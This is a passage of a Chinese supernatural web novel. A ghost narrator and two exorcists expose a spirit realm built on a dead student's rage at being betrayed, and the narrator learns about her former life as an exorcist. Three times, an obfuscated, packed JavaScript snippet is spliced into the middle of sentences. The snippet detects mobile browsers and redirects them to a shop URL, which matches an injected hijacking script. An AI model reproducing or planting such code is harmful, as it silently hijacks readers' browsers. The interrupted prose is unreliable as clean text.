杨天明之所以被带到这里,当然也是姚千用灵能力绑架来的。此时听到这里,大概是得知杨谷早已经知道真相,两人对视一眼,杨天明眼角发红,终于露出崩溃神色,眼泪漱漱而下。 也不知道他到底在哭什么。我看着这不要钱的一样的眼泪,实在是没有触动,只是内心计算着自己的计划应该是成功了——虽然杨谷的反应出乎我的意料,好在结果也殊途同归,我安排杨天明在这里听到我和杨谷的对话,已经成功打破了杨天明的心理防线。 只见这人扑腾一声跪在地上,行云流水地完成一整套忏悔动作。数声对不起后,他终于说出了我最感兴趣的东西。 “是,我知道,我知道这个村子到底是怎么回事……” 他开始自己的讲述。 村里人都知道的是,杨天明曾是镇上中学的一位班主任,而村里人不知道的是,村中的三个高中生,也恰好是他班上的学生。 一个非常简单且糟糕的故事。作为三人的班主任,杨天明其实一直知道自己班上存在着学生被欺负的情况——虽然严格来讲应该将其称之为校园霸凌,但显然杨天明尚且没学会这种科学用词,而他本人也并不认为这是什么严重的问题。 学生之间打打闹闹,再正常不过,自己小时候不也见过这种事情? 那些人不也都好好长大了? 这种漠然持续到一个学生真的找到杨天明,寻求他的帮助。 但是杨天明打断了对方的话,他并不想为对方出头,也不想参与到这件事情中去。他知道,那个团体小头目的父亲,在这个小镇上颇有些话语权。 越是在这种巴掌大的小镇,这样的语权越是充满了能量,令杨天明忌惮。 他让学生忍一忍,毕竟俗话说的好,一个巴掌拍不响,忍一时风平浪静。 学生却说他要报警。这对杨天明而言更是个糟糕主意,意味着他在这个镇上的威严即将一败涂地。他真情实意的劝慰没有起到作用,作为老师的杨天明有些生气。 他得出了结论——这个学生在挑衅自己。 此时此刻,到了拿出相应的措施的时候了。他需要镇住这个不知所谓的孩子。 于是杨天明将自己的结论告诉了学生——不许报警。而后,自己将他的座位调到了偏远位置,并找到了班级里和他交好的学生,进行了一番友好的谈心,主要内容是要求朋友也对他进行规劝,让他不要报警。 杨天明相信自己已经做出了完全正确的应对,他完全可以相信,这个学生会清醒地了解到,报警并不是最好的选择。 两个星期后的一个普通周一,学生和霸凌小团体的头目都没有来到学校。 来的只有警察。 警察说,这个学生和霸凌者一起摔进了河里。根据目击证人,也就是其他霸凌者和那两个朋友的描述,是学生拽着霸凌者一起掉进河里的。 这件事情带给杨天明极大的打击,不仅是精神上的,还有现实中的。班上出了这样的事,即便没有学生家长故意来找事,学校也不会对老师网开一面。 最终,请托许多关系,花掉大半积蓄,杨天明才得以调进城里的学校,继续自己的教师生涯。 离开学校不久后,他听说那个学生的两个朋友全部失踪。 又过了大半年,他过年回到老家,被隐约间的奇异感觉引导,来到了从未到过的深山之中,在山村中见到了熟悉的面孔。 接下来,就是身不由己的杀人、长久的恐惧、自暴自弃试图用夸张作态生活,幻象众人能够投票以了解自己的生命……但这些当然不能成功,他只能继续暴露在阴冷仇恨的目光下,度过自己惶惶然的每一天。 “好了我知道了。”我对他阐述自己痛苦的描述缺乏兴趣,打断了他激动的自白。 “我比较在意的是,所以,你根本就不知道那个因你而死的学生到底是谁?”我询问重点。 杨天明抹一把满脸湿乎乎的眼泪,怔怔地看我。 “我……知道过。”他道,“但是,就好像刚才杨谷说的,关于他身份的记忆,大概是被洗掉了。我没办法知道那个人究竟是谁了,我只知道是他们三个人之中的一个人,所以我看到他们中的任意一个,都会……” 他又要开始演说自己的痛苦了,我不耐烦地皱起眉。 姚千很是时候地打断了对对方的话。 “你之前知道就好。”他道,“我有办法将你的记忆洗出来。” 我眨了眨眼,有点意外:姚千的灵能力不止一个? 任谊倒没什么反应,看样子只有我对姚千的灵能力知之甚少。 姚千说做就做,虽然我不清楚这种操纵记忆的灵能力如何施展,却能够感受到他身体周围的灵能力很快丰沛地溢出,将杨天明包围起来。 杨天明则仿佛正受到精神冲击,眼神涣散。 约莫过了十几秒,他皱起眉,张开了嘴,似乎是想要说什么,犹犹豫豫地,终于道:“我知道了……” 这一瞬间,一把菜刀突然出现在我视野边界,斜斜朝着杨天明的脑袋直冲而来,运动轨迹仿佛一道流星摆锤,甩出残影。 我迅速反应过来将线缠上菜刀柄,却也为时晚矣。菜刀已经直直没入杨天明脑袋三寸,几乎将他的头颅分成两半。 我皱起眉,看到自己想要的真相被卡在开头,再也不可能从这张嘴中说出。 现场响起杨谷克制的惊呼。姚千因为背对着菜刀,加之正操作着灵能力,并没有成功阻止,现下也皱起眉,和我一起看向菜刀的来源处。 田玥坐在院落的墙上,一双小腿悬空,朝我们露出挑衅微笑。 “在要紧的时候被打断,好可惜啊。”灵域主人用田玥幼小面孔嘻嘻地笑起来。 可惜我心中虽然有无限愤怒,却也不能朝着这个被操纵的孩子发泄。 见我们不说话,田玥继续笑道:“你们不会觉得自己很厉害吧?不会觉得自己已经了解了许多了吧?” “是啊,我们难道不是已经知道很多了?” 我不落下风地讥笑,“你这样急匆匆地带着人来杀人灭口,不也是害怕了吗?” “呵呵。” 田玥不说话,我理解是它试图用不屑与我争锋,来掩饰无法回应的难堪。 它的视线又落在已经死得十分透彻的杨天明身上,紧接着,地面陡然模糊,一条条模糊的黑色半透明触手猝然地从土地里冒出来,像是一大团浓密的海藻,试图将杨天明的尸体包裹进去。 姚千这次反应及时,杨天明这具灵体的尸身瞬间被朝上抬起,而那些黑色触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162330|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手却紧接着涌上去,变得细长,仿佛是挤过空气的缝隙,再次朝杨天明贴上去。 空气形成透明刀刃,想要斩断触手,那些存在却如同野草,生长得源源不断,还要超过被斩断的速度。 任谊的手中也释放出火焰,黑色触手似乎对高温相当不适,开始在灼烧下不断扭动。只是这样的阻拦还是晚了一步,杨天明的身体已经在拉扯下不断分裂。 那具尸体像是破布一样被撕碎。这不是我个人血腥的比喻,灵体在黑色触手的触摸下,真的像是一团布料,丧失了□□具有的属性,没有内脏血液和皮肤,变成全身同质的某种东西,也就是真正的魂灵。 杨天明的魂灵被撕碎了。 我的线还缠在杨天明身上,它就这样直直垂下来,掉落在地上,被我收回来捏在手心。 不对劲。 我心中想着。 以往死亡的人,远如木秋,近如左子宁、刘君雅,她们的魂灵都是在被杀死后,送出了灵域,回到了身体之中。 为什么杨天明不一样,为什么他的灵体就一定要被撕裂? 是因为仇恨?那个人要他连植物人也做不成? 没有必要。 我心念一动,或许并不只是杨天明呢,并不只是他的灵体被撕裂了。不是也没有人见到曹玉成的尸体?那个驱灵师就这样悄然消失在灵域之中,任谊只感到了灵力的震动,却从没有见到他的灵体的尸身。 曹玉成也只是被发现了尸身,不排除灵体在灵域中就已经被撕碎的可能。 他们都有一个共同点。 ——都不是在“邪灵降临”的规则中被杀死的。 但是为什么?“邪灵降临”的规则并不是这个“灵域”真正的规则,这一点已经可以肯定。灵域的规则凌驾于灵域主人之上,它也无法逾越和违抗——所以邪灵降临的相关规则并不是灵域自己的规则,而是灵域主人基于自己的想法,结合灵域真正的规则而制定的。 灵域真正的规则究竟是什么? “邪灵降临”为什么会让村民自相残杀,又为什么要让他们投票选出一个真正的凶手? 这是在满足哪一个条件? 那条最核心的规则——究竟是如何表述的? 霎时间,进入灵域前后的一幕幕回忆在我眼前闪动,仿佛有一条线将一切串联起来,而我伸出手,将它攥紧在手中。 一切明了,心绪畅通,天光大亮。 我看向姚千,突然发问:“其实,木秋的魂灵虽然受到那样的重伤,却并不是‘死了’,对吧?” 姚千有些莫名地看向我,似乎一时间还不明白我问出这样的问题所谓何事,只是答道:“对。魂灵既然还存在,便不会真正死去的。” 我这才想起来,见到木秋的那天,姚千从没有说过她的魂灵已经死去——虽然看上去与死掉全无两样,但她毕竟还是存在着的,不然又为什么偶尔还能说出生前的经历? 消散的魂灵才是真的死了。 是啊,是我用寻常思路思考,才觉得这些在“邪灵降临”规则下受到重创的魂灵,是死去了。 其实他们并没有死,真正被灵域撕碎的只有两个人,那就是曹玉成和杨天明。 “我已经知道了。” 我说,“我已经知道这个灵域中,最核心的那条规则,到底是什么了。” 这句话出口的同时,我灵力形成的长线骤然出手,紧紧缠住了猝不及防的田玥。 19. 爱与杀戮的桃源乡15 田玥的身体眨了眨眼,显然还不明所以。 我却露出微笑。虽然灵能力觉醒才不过多半天,我却好像早有了数年的操纵经验,对线的使用已经如臂使指。 这道刚刚发出的线已迅速找到目的地,紧紧绑缚在了我之前所操纵着的另一道线之上。 那道线的终点,是魂灵遭到重创的刘君雅——现在的她,灵体已经重回□□之中,被灵域主人扔到了灵域之外,一如之前被发现的十数个受害人。 重点是,这道线的终点是灵域之外。 虽然我们作为灵体无法离开这道灵域,但我的线作为一种灵力组成的存在,似乎并不受此项约束。 现如今,我的另一道线正沿着相同轨迹,绑缚着田玥灵体,朝着灵域外直冲而去。 田玥反应过来,立即开始疯狂挣扎,却被我的线紧紧绑缚住,不能形成什么有效反抗。地上横生出比原本更加繁密的黑色触手,极速地跟上我的线,想显然阻止我将田玥带出去的行动。 “这只是田玥的魂灵啊?”任谊显然还没有反应过来,支吾道,“她的身体不是还在灵域中……” 我喝道:“别说了,赶紧阻止它!” 任谊乖乖听话,火焰腾升,高温直将空气中的一切炙烤得扭曲变形。 姚千则更加上道些,从我还没有发话,便已经开始着手铲除触手,只是我还留给他其他任务:“现在去祠堂。” 姚千消失在我眼前。 事实上我手中的线在追击之下,也只是勉力支撑。虽然拥有十分明确的目的地,田玥的灵体却仍然卡在了中途,仿佛被透明却柔软的屏障格挡住。 我的线一层层卷起,形成半团茧,硬要带着田玥的灵体冲破屏障。 地上的触手越来越多,开始只是从一人大小的地面冒出,逐渐扩张之下,现在整个院落的地面都成为黑色触手的丛林,我不得不一心多用,用线将我和任谊、杨谷通通吊在半空中。 还好任谊的火焰对这些像是藤蔓一样的触手还算有些效果,虽然不能完全阻挡触手的追击,至少能暂时保护我们三人的生命安全。 不错,我十分乐观,那些触手越是疯狂,越说明我的猜测是对的。 由于我的行动,此时灵域的规则正在遭到挑战,这些触手的涌现,就是灵域自身急切想要维护灵域规则的体现。 正如我之前所料,规则被撼动之际,就是灵域主人露出破绽的时刻。 祠堂中众人的身体多半已经显形,足够让姚千得知灵域主人的真实身份。 由于我已经被线带上半空,离地数米,这个小小村落的光景在我视线中已然一览无余。 我看到姚千的身形从祠堂离开,想来是已经从祠堂中得到了他想要的信息。从半空看去,他的速度快得惊人,已经远远不能用体术来解释,必然是某种灵能力的运用。 他进到了一座院子中,我看到正在和杜临聊天的谢年身体瞬间扭曲,像是被什么不可思议的重物压倒,他的身体试图没入土地,却又被迫浮在空中。黑色触手出现在他周围,展开剧烈的挣扎,但这一切都显得软弱无效。 正如我所料,失去灵域的加持,灵域主人本身所能展现出的灵力水准远远不及姚千。 我们身边的一切景物开始扭曲,黑色触手偃旗息鼓,在空中消解。 任谊茫然地收回火焰,四处张望。 远处的祠堂消失,化成七横八竖的一堆人类身体。 我操纵线,送任谊、杨谷和田玥回归原身。 这混乱却迅速的片刻已经过去,灵域被化解,危机彻底解除。任谊反应过来,开始投入到残局的收拾中去。 我松了口气,心下宽慰,同时渐渐感到自己的身体失去实感,重新变回一道虚无缥缈的残灵。 惆怅和空虚之情霎时间涌上心头。 我忍不住在心中呼唤,薯片、糖果,美味的人类食物,我何时能与你们重聚。 灵域虽然消失,现场当然还是一片混乱,我悠悠飘到一边,看着姚千和任谊收拾残局,将混乱的魂灵们塞回他们自己的身体,又电话呼叫负责人张主任速速带人来接回受害者。 受害者们刚刚回到身体,基本都意识不清、精神混沌,七倒八歪躺倒在一起,倒也免除了和他们交流解释的麻烦。 姚千和任谊确认人员无误,彻底完成任务,任谊这才想起我来:“姐呢,我姐呢?” 我从后面悄悄飘过去,喊他一声,送给他一个巨大惊喜。 任谊呜哇一声,而后茫然道:“姐你的身体呢?” “我没有身体。”我摊手,“本来就没有。” 他上下打量我,脸上纷繁复杂,演化成一副世界观被打破的样子。 “你是残灵?” 我点点头。 任谊的神色逐渐固定下来,没有恐惧没有厌恶,相比之下更像是……遗憾。 之前我问过姚千,我是否能用残灵身份在其他灵感者面前说话,姚千给了我肯定答案,说品德优良的残灵虽然不常见,却也有,驱灵师身边带有残灵一起工作的,也不算太过罕见。 我并不想接受别人施舍的同情,立刻抛出问题:“你难道不想知道灵域是怎么打破的吗?” 任谊立刻露出求知欲极强的神色,姚千也看着我,等待我的答案。这让我感觉良好,如果我长有尾巴,现在多半已经愉快地翘起来。 “那就从我方才问姚大师的那个问题说起吧,推理的起点就是从这个问题开始的。” 我摆出老师姿态,“我之前的猜测是错的。在村里因为各种原因,或者被附体之人所杀,或者被投票而杀的魂灵们,其实并没有死亡。 “之所以会出现大量死亡的受害者,是因为他们魂灵受到重创,失去大部分神志,在山林中无法生存,最终因为□□的死亡而彻底死亡。” “也就是说,魂灵从这个灵域中离开的条件,并不像是我们之前理所当然设想的那样,当魂灵死亡后,身体才会被送出灵域。” “离开灵域的条件不是死亡,当然也不会是受到重创。如果是这样,杨天明的魂灵受到重创时,就应该也被送出灵域。但并不是这样,因为很快灵域主人,也就是谢年,很快就将他的魂灵彻底撕碎了——” 我一顿,“或者我可以做出这个猜想,杨天明魂灵被撕碎的行为,其实是在维护灵域的规则。” “正因为杨天明魂灵被重创,已经不可能再达成被送出灵域的条件了,故而需要直接将他撕碎,防止他触及灵域规则。” “结合你们刚进入灵域所经历的魂体分离,”我笑了一下,“这个灵域的规则设定,其实是相当完整的。” “首先,人在进入灵域时,会被取走身体,魂灵变成人类形态,被送到村中,受到精神的操纵。而想要取回身体,离开这里,就要满足灵域设置的某种条件,而这种条件,则可以为灵域提供它所需要的情绪,或者说灵力。” 我说着,用手指在空气中画了一个圈:“你看,是不是有入有出,非常完整。” “而魂灵离开这里的条件,就是这个灵域的核心规则。也就是构建起这个灵域的灵力来源基础。” “这个条件,显然就藏在灵域主人生前的遭遇,和这个村子由灵域主人所设定的‘邪灵降临’的规则之中。” “这些也正是相互对照的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174551|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着我的讲述,姚千面露思考之色,此刻终于沉稳地吐出正确答案:“背叛。” “没错。”我打了个响指,“根据村中发生的种种,在杨天明的讲述中被轻描淡写带过的这段,其实才是灵域主人生前最恨、最在意的。他最恨的并不是自己被霸凌、被老师针对,而是被朋友所背叛。” “根据杨天明的描述,他让谢年的朋友去劝说他不要报警。而谢年死去的时候,两个朋友也是目击者。朋友在身边,谢年却还是选择了最激烈的做法,带着霸凌者跳下河。” “看来在生前的最后,他并没有得到自己朋友的支持。” 所谓来自身边的刀最锋利,最亲近者的背叛也最伤人。 “整个村落平日的安定和谐、‘邪灵降临’后的自相残杀,包括相互指认、彻底撕碎一切关系的投票,都是为了让已经建立起感情、互相间已经有了信任的村民们相互背叛。” “被杀者发现自己亲近的人对自己提刀相向;被投票者则要亲眼见到关系亲厚的邻人投出杀死自己的决定。” “在魂灵受到重创的那一刻,每一个受害人都尝到了背叛的巨大苦楚,这就是灵域想让他们感受到的。” 我一顿,有些沉重地道,“也就是灵域主人谢年生前最为激烈的情绪。” 正是这种情绪,使他变成残灵,甚至诞生了这样一个规则恶毒的灵域,徘徊数年,终于使那么多人品尝到了他生前的苦痛。 说到这里,我一时间竟然也有些无法指责那个残忍的残灵。 毕竟他曾经也是一个无比绝望的人类,又或许我在死去的那一刻,心中也抱有十分剧烈的痛苦,才致使我化身残灵,飘荡于这个世界之中。从某些意义上来说,我甚至也缺少立场去指责那个叫谢年的少年。 我看向姚千,有些茫然。 我到底是谁? 我是怎么死的? 属于我生前最后的情绪,又是什么样的? 姚千似乎看出了我的心声,与我对视,却不发一语。他眸光复杂,仿佛正有什么问题在他心中激烈挣扎。 其实我也有所感觉,这几天来,姚千确实有些心不在焉。只是我与他共事的时间太短,也不能确切分辨他到底是一直这样,还是有什么特殊原因。 而任谊这小子则对我的伤感毫无感知,反复回嚼我刚才讲述的推理过程,沉默十几秒,终于恍然大悟,眼睛发亮,顺着刚才的推论继续道: “所以说,姐你刚才用线将田玥的魂灵朝灵域外带去,就是为了打破这个灵域的规则。” 我肯定道:“对。因为灵域的规则是,只有承受背叛的人才能从灵域中离开,所以当田玥的魂灵并不满足这个条件,却被我的线强行带出灵域时。灵域便会产生极大的反应,阻止我的行为,从而使得整个灵域产生连锁反应,露出破绽。” “原来如此,还可以这样破局。”任谊点着头,已经明白了一切,又用那种熟悉的赞叹目光朝我看过来,只是一眼之下,看到我半透明的身体。 “可惜啊,姐你……” “等等。”他突然打住,“姐,你叫苏吉光,灵能力是线……啊?!!” 他惊呼出声,猛拍手掌,眼睛瞪成铜铃。 我被他的一惊一乍吓到:“什么?” “拥有两项灵能力,天资卓绝,早在十五岁便已经崭露头角的驱灵师……” 他报出来一串像是名人事迹的东西。 “因为只是偶然听过一次,当时也没记住名字。”任谊有点不好意思地冲我笑了一下,“当时看到你的灵能力是线,还觉得在哪里听说过。” “怪不得,原来你本来就那么厉害啊。” 20. 爱与杀戮的桃源乡16 我看着任谊,脑中也惊涛骇浪翻滚成一团。 怎么,我居然还拥有如此光辉灿烂的传说流传在人间? 事实上,我对生前是驱灵师这件事并不算意外。姚千的种种言行,以及我对灵能力无师自通般熟练的使用,已经隐约做出了提示。 我生前就能够使用灵能力,大概率还拥有着丰富的驱灵经验。 虽然丧失了人生记忆,但破解灵域的思维并未从我脑中彻底丧失。 或许在八年前,我和姚千就已经一起行动过。 毕竟,不得不承认,我和他还挺有默契的。 从我第一次投票中故意带动节奏为方泰和脱罪,到我决定以自己为诱饵骗谢年现身,还有刚才我跟姚千说去祠堂——只一句话,他就明白我要他做什么。 姚千能无条件信任并服从我做出的一切决定,我也潜意识相信姚千能够完成我交给他的任务。 这一系列思绪从我脑中划过,我下意识转向姚千,想看看他当下作何表情。这厮面无表情,仿佛早就意料到了。 有些失望。我又问任谊:“那你知道我是怎么死的吗?” 意料之外的,任谊皱起了眉,露出有些难以言说的神色:“你不记得了吗?” “我失忆了。”我说。 他纠结两秒,终于组织好语言。 “我也不太清楚。但之前听其他人讲过,你的个人信息已经被封锁了,现在驱灵师的相关资料里没办法查到你。” “这种情况,大概率是死在了涉密的特殊事件里。” 一个半小时后,张主任就带着大队人马赶到,可谓兵贵神速。一番交代后,张主任明白了大致情况,告诉我们驱灵师可以先行离开。任谊与姚千离开前在山下交换了号码,任谊也想要我的号码,可惜我到现在也没有什么通讯工具,无法展开自己的人际网络。 黄昏将尽,浓烈的橘红边际晕进黑色,天光渐暗,车上只剩下我和姚千两个人。他没开车内的灯,我只能看到他半张脸沉入阴影里,神色不明。 明明是刚刚击破灵域,完成任务,应该气氛轻松愉快才对,我却没从姚千脸上看到这样的表情。而我本人,也尚且沉浸在得知自己生前情况的复杂心境中。 “你想知道自己是怎么死的吗?” 没想到还没等我开口询问,姚千已经突然问我。 我附在副驾驶上,立刻转头,回答得字正腔圆:“想。” 他说得干脆:“我也不知道。” “……”我就知道! 我气极反笑:“那你有什么好问的?” 姚千反而又沉默。我这才注意到他握着方向盘的手指节泛白,似乎格外用力。在我的有限观察中,姚千此人看什么都平淡,缺少情绪波动,这是我第一次发现他有如此表现情绪的动作。 过了半晌,他才道:“知道自己的死因,其实没有意义。” 姚千的声音有点缥缈,像是在跟我说话,又如同自言自语,“如果你将来发现,自己是死在某个非常强大的残灵手中,你会想要报仇吗?” 他这个问题倒是很实际,按刚才任谊的描述,我因为这个身死的可能性的确是相当大。只不过为什么我生前的资料会被封锁,这点我还没有头绪。 我老实道:“不确定。大概不会吧,毕竟生前的我都干不过它,没必要再去送死一次。” 说完,我皱起眉,可疑地看姚千:“你果然知道我是怎么死的吧?” 姚千答:“我确实不知道。” 他语气平静,不像是骗人。 我盯他良久,终于放弃,附回自己的车座位上。 还没等我找到舒适姿势,姚千又道:“抱歉。” 没等我发表意外,他又继续道:“刚开始见到你时,我也不确定你就是苏吉光。” “哈?” “也存在那种残灵的,”姚千用他一贯没什么起伏的语气描述道,“能够读取人类的记忆,幻化成他……熟悉的人。” “我就遇到过。”他语气平淡地补充,“很多次。” “哦。”我想了想,“说来也是,毕竟按照正常思路,就算残灵真的是我,也应该在八年前刚死的时候就出现了。” “所以呢,”我问,“你什么时候确定我是本尊的?” “从石娅的灵域出来,大概就有七八分肯定了吧。”姚千说。 我心里有数了,在这之后,姚千和我的关系确实更熟络了些。 “所以,你是在为你刚见到我时的粗鲁道歉?”我大度道,“一朝被蛇咬十年怕井绳,也正常,没什么问题。原谅你了。”我洒脱摆手。 “谢谢。” 姚千客客气气地回,又问,“你的记忆还是没有恢复的迹象吗?” “没有,一点也没有。” “这或许也不是件坏事。”他声音轻了点,“生前那些事情都已经回不去了,何况死去的记忆往往也是残灵们避之不及的东西。” 他这句话倒是和我来茂山前的所思所想差不多,反正我已经不能回到人类生活,何不放过自己,反倒少了很多麻烦? 但我还是不能下定决心,随口嗯嗯了两声。 姚千不说话了。 我也认真思索起这前后其他问题,一时车里安静。过了一会儿,姚千才又突兀地开口。 “所以,你可以不走吗?” “啊?”我茫然,“我去哪里?” 姚千沉默片刻,说:“刚见面时,我不是故意想抓你做助手。现在你想离开,我也没道理阻拦。” “但你去其他地方,其实也没意思。”他的声音低下去,平稳描述里隐约带点不知道哪里来的伏低做小,“我没有骗你,你确实没有父母亲人,生前有很多朋友——但毕竟只是朋友,又已经过去了八年那么久。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177265|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你要走,就又要过原来那样的生活。留在这里,就不用担心天黑,我那间房间可以永远留给你,想添置什么都可以。” 我笑笑:“怎么,发现我还是很厉害,想找回搭档?” 他想想道:“你觉得残灵或者灵域危险,不来也没关系的。” “我出来任务,你留在家里就可以。” 这句话确实出乎我意料。我转头看看他,意识到他并不是在开玩笑。 “怎么,”我问,“就这么想让我留下来?” 这样的话语,一时让我警觉心上头,警铃滴灵灵响起来。天下毕竟没有免费的午餐,姚千如果不是图谋我的劳动力,那必然有更见不得人的目的。 “毕竟不能看你继续流浪。”姚千答得很平淡。 车外已经彻底暗了,高速路上仍然冷清无人,前后见不到一辆车。姚千打开车内灯,灯光照亮他一张隽秀的脸,面无表情,“何况这么多年,我也很想你。” 这话说得实在是半点儿感情也无,所以虽然内容略显糟糕,但车内气氛仍然比外面十月份黄昏的天气还凉爽。 我借着灯光打量他,并没有从里面看到明显的谎言迹象。只是察觉到这人似乎比刚见面时规整很多,神色也没有那么灰败,初见时眼下浓重的黑眼圈也消减得近乎看不出来了。 我怀疑地皱眉:“你说这话,不会是还妄图跟我谈恋爱吧?” 他明显一愣,连车子的轨迹都危险地波动了一下,大概被我人鬼情未了的猜测所震撼。 “我不是……” 我打断他:“好了好了,不开玩笑。” 开车的人于是闭上嘴,做认真开车状。我则在一边摆出高调姿态:“你既然想让我留下来,总得付出点代价吧?” 姚千一怔:“什么?” “比如你知道的,我生前的大概情况。”我直白询问,“还有我做驱灵师的事情,我真的很好奇。” 姚千想了想,这次没有拒绝我。 “我对你人际关系的了解,刚才已经告诉过你了。” 他道,“至于我们,是同一所大学、同一级的学生,因为同为驱灵师而认识,经常一起出任务。” “任谊说的没错,在我刚认识你的时候,你就已经是圈子里很有名气的驱灵师了,天赋很高,说是惊才绝艳也不为过。” 他笑了一下,“还记得你前两天晚上问过我,天生就能觉醒灵能力的人是不是更厉害一些。你就是这种自然觉醒了灵能力的人。” “你的灵能力就是以灵力形成的长线,你为它起名叫片羽。” “吉光片羽?”我问。 “嗯,是来源于这里。” “不过你也说过,这里的羽有两层含义,一是本意羽毛,光洁轻盈;二是羽字的古义有鸟,取灵巧自在。” 他说得又快又顺畅,不像是在讲述八年前的事情。 21. 爱与杀戮的桃源乡17 “片羽。”我下意识地重复一遍,“看来我一直是个挺有品味的人。” 我夸自己。 “所以,我现在觉醒的灵能力,和生前是一样的吗?” 我想起姚千得知我灵能力时古怪的反应。 “有些区别。”姚千道,“线的强度和灵活性还不能和当初的你相媲美,不过重要的是,当年的片羽,是不能切割‘抽象’存在的。” 怪不得姚千当时发现我切断控制时那么意外,这下一切都能够解释了。 我想了想:“是因为我成为残灵的缘故了吧,灵能力有点变异也属正常。” 姚千回忆片刻:“或许吧,我只是听说过灵能力者死后成为残灵,大概率会觉醒和生前相似的能力。” 我暂时放下这个问题,又兴致勃勃地问:“所以,任谊说我拥有两种灵能力,那第二种是什么?” “这个灵能力你没有办法继承了,”姚千打方向盘,我们的车子驶下高速路,“至少在你恢复记忆之前不能。” “嗯?” “那是召唤出一只白色巨犬的能力,它叫阿白,是你高中时养过的一只狗。” 姚千道,“后来它生病死去的时候,你说当时的自己很伤心,所以灵力具化出了另一个巨大版的它,也就成为了你的第二种灵能力。” “原来还有这样的灵能力?”我听着有趣。 “这样的灵能力很多。”姚千向我解释,“有不少驱灵师的灵能力都是饲养过的宠物。” 我点点头,随即感兴趣地问道:“那阿白是什么样子?” “通体雪白,很漂亮可爱。你说过,是萨摩耶和田园犬的混种,和萨摩耶挺像,但是皮毛没有那么蓬松,身体和吻都要更长一点。” 姚千一边说着,似乎难得地露出一点笑容,“它很大,你经常骑在它身上。” “哇。”我陷入向往。 姚千想到什么似的,突然补充:“但也不是非常特殊的灵能力。你喜欢小狗的话现在也可以养。” 我虽然对养狗有点兴趣,但毕竟自己也没办法真正接触到小狗,干看不能摸,还不如不养。我拒绝了。 “还有我的能力……”姚千继续交代。 这我得打断他:“我已经猜到七七八八了。” 姚千于是不说话了,等我表演。 我开始叙述推理过程:“那就从头说起吧。从我认识你以来,你表现出过三种能力。第一,是你最常用的,控制空气的能力;第二则是你使用在杨天明身上的、操纵记忆的能力;第三就是在我让你前往祠堂过程中,你表现出的速度。” “最初,我以为你的速度是由风推动而来的,但其实只要经过仔细观察,就能发现并不是。不仅是位移,在那段过程中,你的所有的动作,都表现出了超过正常可能性范围内的速度。” “所以这必然也是灵能力的一种。” “这样数来,你至少存在三种灵能力。但目前根据我对灵能力的粗浅了解,拥有两种灵能力已经是相当了不起的情况,而你曾经说过,你并不算是天赋异禀的灵能力者——这就相互矛盾了。” “而你三种能力中的一种,恰好又令人十分眼熟。”我一顿,“那就是影响记忆的能力。这个能力恰好是出现在石娅的灵域之中的,她死前最大的执着,正是忘记自己生前的悲剧经历。” “多少有点太巧了。” “所以,有没有可能,你对记忆的影响能力,正是从石娅那里得到的?” 我看向姚千,说出结论,“你的能力正是复制,从他人的灵能力中得到自己的能力。是吗?” “嗯,没错。” 姚千开车,没有看我,说话仍然没什么语气,嘴角却再次上扬,“你猜的很对。” “我的灵能力,是在残灵的死亡过程中,提取他们的灵能力。” 他说起自己能力的语气像是在说别人的,带不出什么多余感情,“但只能复制原本能力的一部分——比如原能力的力量速度或者使用的灵活方式,经复制后,都会打上折扣。” “复制的种类和复制的效果,都和自身的灵力水平有关。” “刚觉醒灵能力时,我只能复制一种能力,大概能得到原本灵能力的三四成效果。而现在,除了你刚才已经知道的三种外,还有一种,你以后也会看到的。” 原来如此,这也算是初期比较弱,却很有成长潜力的灵能力类型吧。 我在心里默默评价着,随即又想到:“话说,在特殊情况下产生的灵能力,不应该与当时的愿望或者心情有关吗?” “当时你说你是在危机情况下才获得了灵能力,我还以为这种心境下产生的都是与战斗相关的灵能力。” “采访一下,觉醒灵能力的时候,你想到了什么?” “……没有什么。”姚千想了想,显而易见的话术敷衍我。 我十分不满意:“半小时前,你还求我留在这里呢,态度呢?” “……这已经是个人隐私的范畴了吧。” 姚千难得流露出无奈情绪,又轻声补充一句,“何况,生前的你也不知道这个。” “好吧。” 我倒也没有得寸进尺到那种程度,本质而言,我还是一个体谅别人心情的好残灵。 车子驶进几天前我们刚到y市时住过的酒店,由于我们进入灵域来得十分突然,大部分行李也都还放在酒店里。张主任说房间还为我们留着,又续订到了今天。 虽然才过了几天,但期间经历太过惊心动魄,令残灵不觉有恍若隔世之感。下了车跟着姚千进了房间,我才长舒一口气,有了回到和平人类世界的感觉。 住了一晚,第二天,我跟着姚千回到h市,他的家里。 回去的火车上我跟姚千说,既然我也没什么很想去的地方,留在他这里也未尝不可。 